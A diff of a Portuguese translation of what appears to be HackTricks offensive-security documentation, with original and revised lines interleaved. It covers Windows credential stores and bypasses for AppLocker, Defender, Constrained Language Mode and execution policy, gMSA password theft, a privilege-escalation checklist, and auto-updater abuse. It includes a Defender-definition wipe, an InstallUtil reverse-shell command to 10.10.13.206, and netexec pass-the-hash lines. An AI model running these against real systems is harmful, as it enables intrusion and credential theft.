- Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar PowerShell** code em qualquer processo e contornar o AppLocker. Para mais informações veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Organizações frequentemente focam em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tais como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
- **DLL enforcement very rarely enabled** devido à carga adicional que pode causar no sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs as backdoors** ajudará a contornar o AppLocker.
- Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o AppLocker. Para mais informações, confira: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Armazenamento de Credenciais
## Credentials Storage
### Security Accounts Manager (SAM)
Credenciais locais estão presentes neste arquivo; as senhas estão hashed.
Credenciais locais estão presentes neste arquivo; as senhas estão em forma de hash.
### Local Security Authority (LSA) - LSASS
As **credenciais** (hashed) são **armazenadas** na **memória** deste subsistema por motivos de Single Sign-On.\
A **LSA** administra a **política de segurança** local (política de senhas, permissões de usuários...), **autenticação**, **tokens de acesso**...\
A LSA será responsável por **verificar** as credenciais fornecidas dentro do arquivo **SAM** (para um login local) e **comunicar-se** com o **domain controller** para autenticar um usuário do domínio.
As **credenciais** (em hash) são **salvas** na **memória** deste subsistema por motivos de Single Sign-On.\
**LSA** administra a **política de segurança** local (política de senhas, permissões de usuários...), **autenticação**, **tokens de acesso**...\
O LSA será quem **verificará** as credenciais fornecidas dentro do arquivo **SAM** (para um login local) e **se comunicará** com o **controlador de domínio** para autenticar um usuário de domínio.
As **credenciais** são **armazenadas** dentro do **processo LSASS**: Kerberos tickets, hashes NT e LM, senhas facilmente descriptografáveis.
As **credenciais** são **salvas** dentro do processo **LSASS**: tickets Kerberos, hashes NT e LM, senhas facilmente descriptografadas.
### LSA secrets
A LSA pode salvar em disco algumas credenciais:
O LSA pode salvar em disco algumas credenciais:
- Senha da conta do computador do Active Directory (quando o domain controller não estiver acessível).
- Senha da conta de computador do Active Directory (controlador de domínio inacessível).
- Senhas das contas de serviços do Windows
- Senhas de tarefas agendadas
- Mais (senha de aplicações IIS...)
### NTDS.dit
É o banco de dados do Active Directory. Está presente apenas em Domain Controllers.
É a base de dados do Active Directory. Está presente apenas em controladores de domínio.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) é um antivírus disponível no Windows 10 e Windows 11, e em versões do Windows Server. Ele **bloqueia** ferramentas comuns de pentesting como **`WinPEAS`**. No entanto, existem formas de **contornar essas proteções**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) é um antivírus disponível no Windows 10 e Windows 11, e em versões do Windows Server. Ele **bloqueia** ferramentas comuns de pentesting como **`WinPEAS`**. No entanto, existem maneiras de **contornar essas proteções**.
### Check
@ -101,71 +101,71 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Sistema de Arquivos Criptografado (EFS)
EFS protege arquivos por meio de criptografia, utilizando uma chave **simétrica** conhecida como **File Encryption Key (FEK)**. Essa chave é criptografada com a **public key** do usuário e armazenada dentro do fluxo de dados alternativo $EFS do arquivo criptografado. Quando é necessária a descriptografia, a **private key** correspondente ao certificado digital do usuário é usada para descriptografar o FEK a partir do stream $EFS. Mais detalhes podem ser encontrados [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Essa chave é criptografada com a **chave pública** do usuário e armazenada no $EFS **alternative data stream** do arquivo criptografado. Quando a descriptografia é necessária, a **chave privada** correspondente ao certificado digital do usuário é usada para descriptografar o FEK a partir do stream $EFS. Mais detalhes podem ser encontrados [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Cenários de descriptografia sem a ação do usuário** incluem:
**Cenários de descriptografia sem ação do usuário** incluem:
- Quando arquivos ou pastas são movidos para um sistema de arquivos não-EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), eles são automaticamente descriptografados.
- Arquivos criptografados enviados pela rede via protocolo SMB/CIFS são descriptografados antes da transmissão.
Esse método de criptografia permite **acesso transparente** aos arquivos criptografados para o proprietário. No entanto, simplesmente alterar a senha do proprietário e fazer login não permitirá a descriptografia.
Esse método de criptografia permite **acesso transparente** aos arquivos criptografados para o proprietário. No entanto, simplesmente alterar a senha do proprietário e efetuar login não permitirá a descriptografia.
**Pontos-chave**:
Principais pontos:
- EFS usa um FEK simétrico, criptografado com a public key do usuário.
- A descriptografia utiliza a private key do usuário para acessar o FEK.
- A descriptografia automática ocorre sob condições específicas, como cópia para FAT32 ou transmissão pela rede.
- EFS usa um FEK simétrico, criptografado com a chave pública do usuário.
- A descriptografia emprega a chave privada do usuário para acessar o FEK.
- Descriptografia automática ocorre em condições específicas, como cópia para FAT32 ou transmissão pela rede.
- Arquivos criptografados são acessíveis ao proprietário sem passos adicionais.
### Check EFS info
### Verificar informações do EFS
Verifique se um **user** utilizou esse **service** checando se este caminho existe: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifique se um **usuário** utilizou este **serviço** checando se este caminho existe:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifique **who** tem **access** ao arquivo usando cipher /c \<file>\
Verifique **quem** tem **acesso** ao arquivo usando cipher /c \<file\>
Você também pode usar `cipher /e` e `cipher /d` dentro de uma pasta para **encrypt** e **decrypt** todos os arquivos
### Decrypting EFS files
### Descriptografando arquivos EFS
#### Obter privilégios System
#### Assumindo o contexto do SYSTEM
Essa forma requer que o **victim user** esteja **running** um **process** dentro do host. Se esse for o caso, usando uma sessão `meterpreter` você pode impersonate o token do processo do usuário (`impersonate_token` do `incognito`). Ou você pode simplesmente `migrate` para o processo do usuário.
Esse método requer que o **usuário-vítima** esteja **executando** um **processo** no host. Se for o caso, usando uma sessão `meterpreter` você pode personificar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você pode simplesmente `migrate` para um processo do usuário.
#### Knowing the users password
#### Conhecendo a senha do usuário
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Contas de Serviço Gerenciadas em Grupo (gMSA)
A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar o gerenciamento de service accounts em infraestruturas de TI. Diferente de service accounts tradicionais que frequentemente têm a opção "**Password never expire**" habilitada, gMSAs oferecem uma solução mais segura e gerenciável:
A Microsoft desenvolveu as **Group Managed Service Accounts (gMSA)** para simplificar o gerenciamento de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Password never expire**" habilitada, as gMSAs oferecem uma solução mais segura e gerenciável:
- **Automatic Password Management**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Esse processo é gerenciado pelo Key Distribution Service (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha.
- **Enhanced Security**: Essas contas são imunes a lockouts e não podem ser usadas para interactive logins, aumentando sua segurança.
- **Multiple Host Support**: gMSAs podem ser compartilhadas entre múltiplos hosts, tornando-as ideais para serviços rodando em vários servidores.
- **Scheduled Task Capability**: Diferente de managed service accounts, gMSAs suportam a execução de scheduled tasks.
- **Simplified SPN Management**: O sistema atualiza automaticamente o Service Principal Name (SPN) quando há alterações nos detalhes sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
- **Gerenciamento automático de senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente conforme a política do domínio ou do computador. Esse processo é gerenciado pelo Key Distribution Service (KDC) da Microsoft, eliminando a necessidade de alterações manuais de senha.
- **Segurança aprimorada**: Essas contas são imunes a lockouts e não podem ser usadas para logons interativos, aumentando sua segurança.
- **Suporte a múltiplos hosts**: gMSAs podem ser compartilhadas entre vários hosts, tornando-as ideais para serviços executados em múltiplos servidores.
- **Capacidade para Scheduled Tasks**: Ao contrário das managed service accounts, gMSAs suportam execução de tarefas agendadas.
- **Gerenciamento simplificado de SPN**: O sistema atualiza automaticamente o Service Principal Name (SPN) quando há mudanças nos detalhes sAMAccount do computador ou no nome DNS, simplificando o gerenciamento de SPNs.
As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são automaticamente resetadas a cada 30 dias pelos Domain Controllers (DCs). Essa senha, um blob de dados criptografado conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores onde as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essa informação, uma conexão segura como LDAPS é necessária, ou a conexão deve estar autenticada com 'Sealing & Secure'.
As senhas das gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são resetadas automaticamente a cada 30 dias pelos Domain Controllers (DCs). Essa senha, um blob de dados criptografado conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essa informação, é necessária uma conexão segura como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
Você pode ler essa senha com [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
Você pode ler esta senha com [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Encontre mais informações neste post**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Além disso, confira esta [página web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como realizar um **NTLM relay attack** para **ler** a **senha** do **gMSA**.
Além disso, confira esta [web page](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como executar um **NTLM relay attack** para **ler** a **senha** do **gMSA**.
### Abusando de ACL chaining para ler a senha gerenciada do gMSA (GenericAll -> ReadGMSAPassword)
### Abusar do encadeamento de ACLs para ler a senha gerenciada de gMSA (GenericAll -> ReadGMSAPassword)
Em muitos ambientes, usuários com poucos privilégios podem pivotar para segredos do gMSA sem comprometer o DC abusando de ACLs de objetos mal configuradas:
Em muitos ambientes, usuários pouco privilegiados podem pivotar para segredos de gMSA sem comprometer o DC, abusando de ACLs de objeto mal configuradas:
- Um grupo que você pode controlar (por exemplo, via GenericAll/GenericWrite) recebe `ReadGMSAPassword` sobre um gMSA.
- Um grupo que você controla (por exemplo, via GenericAll/GenericWrite) recebe `ReadGMSAPassword` sobre um gMSA.
- Ao adicionar-se a esse grupo, você herda o direito de ler o blob `msDS-ManagedPassword` do gMSA via LDAP e derivar credenciais NTLM utilizáveis.
Fluxo de trabalho típico:
@ -177,7 +177,7 @@ Fluxo de trabalho típico:
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Leia a senha gerenciada do gMSA via LDAP e derive o hash NTLM. NetExec automatiza a extração de `msDS-ManagedPassword` e a conversão para NTLM:
3) Leia a senha gerenciada gMSA via LDAP e derive o hash NTLM. NetExec automatiza a extração de `msDS-ManagedPassword` e a conversão para NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
@ -190,15 +190,15 @@ netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Notas:
- Leituras LDAP de `msDS-ManagedPassword` exigem sealing (p.ex., LDAPS/sign+seal). Ferramentas tratam isso automaticamente.
- gMSAs frequentemente recebem direitos locais como WinRM; verifique a associação a grupos (p.ex., Remote Management Users) para planejar lateral movement.
- Se você só precisa do blob para calcular o NTLM por conta própria, consulte a estrutura MSDS-MANAGEDPASSWORD_BLOB.
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
## LAPS
A **Local Administrator Password Solution (LAPS)**, disponível para download em [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite o gerenciamento de senhas do Administrador local. Essas senhas, que são **aleatórias**, únicas e **alteradas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito através de ACLs a usuários autorizados. Com permissões suficientes concedidas, é possível ler as senhas do administrador local.
A **Local Administrator Password Solution (LAPS)**, disponível para download em [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite o gerenciamento de senhas do administrador local. Essas senhas, que são **aleatórias**, únicas e **alteradas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por ACLs a usuários autorizados. Com permissões suficientes concedidas, é possível ler as senhas de admin local.
{{#ref}}
@ -207,20 +207,20 @@ A **Local Administrator Password Solution (LAPS)**, disponível para download em
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloqueia muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitir apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e muito mais.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloqueia muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear COM objects, permitir apenas .NET types aprovados, XAML-based workflows, PowerShell classes, e mais.
### **Verificar**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Evasão
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
No Windows atual esse Bypass não funciona, mas você pode usar[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Para compilá-lo você pode precisar** **de** _**Adicionar uma Referência**_ -> _Procurar_ ->_Procurar_ -> adicionar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **mudar o projeto para .Net4.5**.
Nas versões atuais do Windows esse Bypass não funciona, mas você pode usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Para compilá-lo talvez seja necessário** **para** _**Adicionar uma Referência**_ -> _Procurar_ ->_Procurar_ -> adicionar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **alterar o projeto para .Net4.5**.
#### Bypass direto:
```bash
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o constrained mode. Para mais informações, veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e bypass o constrained mode. Para mais informações, veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Polícia de Execução do PS
## Política de Execução do PS
Por padrão está definido como **restricted.** Principais formas de contornar essa política:
Por padrão está definido como **restricted.** Principais formas de bypass desta política:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -254,25 +254,25 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Mais informações podem ser encontradas [aqui](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Interface de Provedor de Suporte de Segurança (SSPI)
É a API que pode ser usada para autenticar usuários.
O SSPI ficará encarregado de encontrar o protocolo adequado para duas máquinas que queiram se comunicar. O método preferido para isso é Kerberos. Em seguida, o SSPI negociará qual protocolo de autenticação será usado; esses protocolos de autenticação são chamados Provedores de Suporte de Segurança (SSP), estão presentes em cada máquina Windows na forma de uma DLL e ambas as máquinas devem suportar o mesmo para poderem se comunicar.
O SSPI será responsável por encontrar o protocolo adequado para duas máquinas que queiram se comunicar. O método preferido para isso é Kerberos. Em seguida, o SSPI negociará qual protocolo de autenticação será usado; esses protocolos de autenticação são chamados Provedor de Suporte de Segurança (SSP), estão localizados em cada máquina Windows na forma de uma DLL e ambas as máquinas devem suportar o mesmo para poderem se comunicar.
### Principais SSPs
- **Kerberos**: O preferido
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** and **NTLMv2**: Por razões de compatibilidade
- **NTLMv1** and **NTLMv2**: Razões de compatibilidade
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Servidores web e LDAP, senha em forma de hash MD5
- **Digest**: Servidores web e LDAP, senha na forma de um hash MD5
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL e TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: É usado para negociar o protocolo a ser usado (Kerberos ou NTLM, sendo Kerberos o padrão)
- **Negotiate**: É usado para negociar o protocolo a usar (Kerberos ou NTLM, sendo Kerberos o padrão)
- %windir%\Windows\System32\lsasrv.dll
#### A negociação pode oferecer vários métodos ou apenas um.

46
src/windows-hardening/checklist-windows-privilege-escalation.md
View File

@ -1,15 +1,15 @@
# Checklist - Local Windows Privilege Escalation
# Checklist - Elevação de Privilégios Local no Windows
{{#include ../banners/hacktricks-training.md}}
### **Melhor ferramenta para procurar vetores de elevação de privilégio locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Melhor ferramenta para procurar vetores de elevação de privilégio local no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] Obter [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Procurar por **kernel** [**exploits usando scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Usar **Google** para procurar **exploits** do kernel
- [ ] Usar **searchsploit** para procurar **exploits** do kernel
- [ ] Procurar por **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Usar **Google para pesquisar** por kernel **exploits**
- [ ] Usar **searchsploit to search** por kernel **exploits**
- [ ] Informação interessante em [**env vars**](windows-local-privilege-escalation/index.html#environment)?
- [ ] Senhas no [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Informação interessante em [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
@ -20,27 +20,27 @@
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
- [ ] Verificar [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)está ativo
- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) está ativo
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Verificar se existe algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] Verificar se há algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Verificar privilégios do usuário [**current**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Verificar privilégios do usuário **current** (atual) [**privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Você é [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Verificar se você tem [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] Verificar se você tem algum desses tokens habilitados](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Verificar[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?)
- [ ] Verificar [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?)
- [ ] Verificar [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] O que há [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
- [ ] O que há [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Verificar [**current**](windows-local-privilege-escalation/index.html#network) **network information**
- [ ] Verificar **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] Verificar **hidden local services** restritos ao exterior
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
@ -48,7 +48,7 @@
- [ ] Permissões de arquivos e pastas dos binários de processos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Roubar credenciais de **interesting processes** com `ProcDump.exe` ? (firefox, chrome, etc ...)
- [ ] Roubar credenciais com **interesting processes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
### [Services](windows-local-privilege-escalation/index.html#services)
@ -63,23 +63,23 @@
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Você pode **write in any folder inside PATH**?
- [ ] Existe algum binário de serviço conhecido que **tries to load any non-existant DLL**?
- [ ] Existe algum service binary conhecido que **tries to load any non-existant DLL**?
- [ ] Você pode **write** em alguma **binaries folder**?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Enumerar a rede (shares, interfaces, routes, neighbours, ...)
- [ ] Prestar atenção especial a serviços de rede que escutam em localhost (127.0.0.1)
- [ ] Prestar atenção especial a serviços de rede escutando em localhost (127.0.0.1)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials que você poderia usar?
- [ ] Informação interessante de [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Senhas de [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] DPAPI credentials interessantes? ([**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Senhas de redes WiFi salvas [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Informação interessante em [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] Senhas em [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
@ -97,11 +97,11 @@
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] Senha em [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Informação interessante em [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Quer [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário?
- [ ] Arquivos interessantes dentro da [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Deseja [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário?
- [ ] Arquivos interessantes dentro do [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Outros [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] Dentro de [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registry
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para procurar automaticamente por senhas
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)

578
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

98
src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
View File

@ -1,18 +1,18 @@
# Abusando de Auto-Updaters Empresariais e IPC Privilegiado (e.g., Netskope stAgentSvc)
# Abusando de Auto-Atualizadores Empresariais e IPC Privilegiado (por exemplo, Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Esta página generaliza uma classe de Windows local privilege escalation chains encontradas em agentes de endpoint empresariais e updaters que expõem uma superfície de IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é o Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário com poucos privilégios pode forçar o enrollment em um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala.
Esta página generaliza uma classe de cadeias de elevação de privilégio local no Windows encontradas em agentes de endpoint e updaters empresariais que expõem uma superfície IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário de baixo privilégio pode coercir o enrollment para um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala.
Ideias-chave reutilizáveis contra produtos similares:
Ideias-chave que você pode reutilizar contra produtos similares:
- Abusar do localhost IPC de um serviço privilegiado para forçar re‑enrollment ou reconfiguração para um servidor do atacante.
- Implementar os endpoints de update do vendor, entregar um rogue Trusted Root CA, e apontar o updater para um pacote malicioso “assinado”.
- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais, e propriedades relaxadas de MSI.
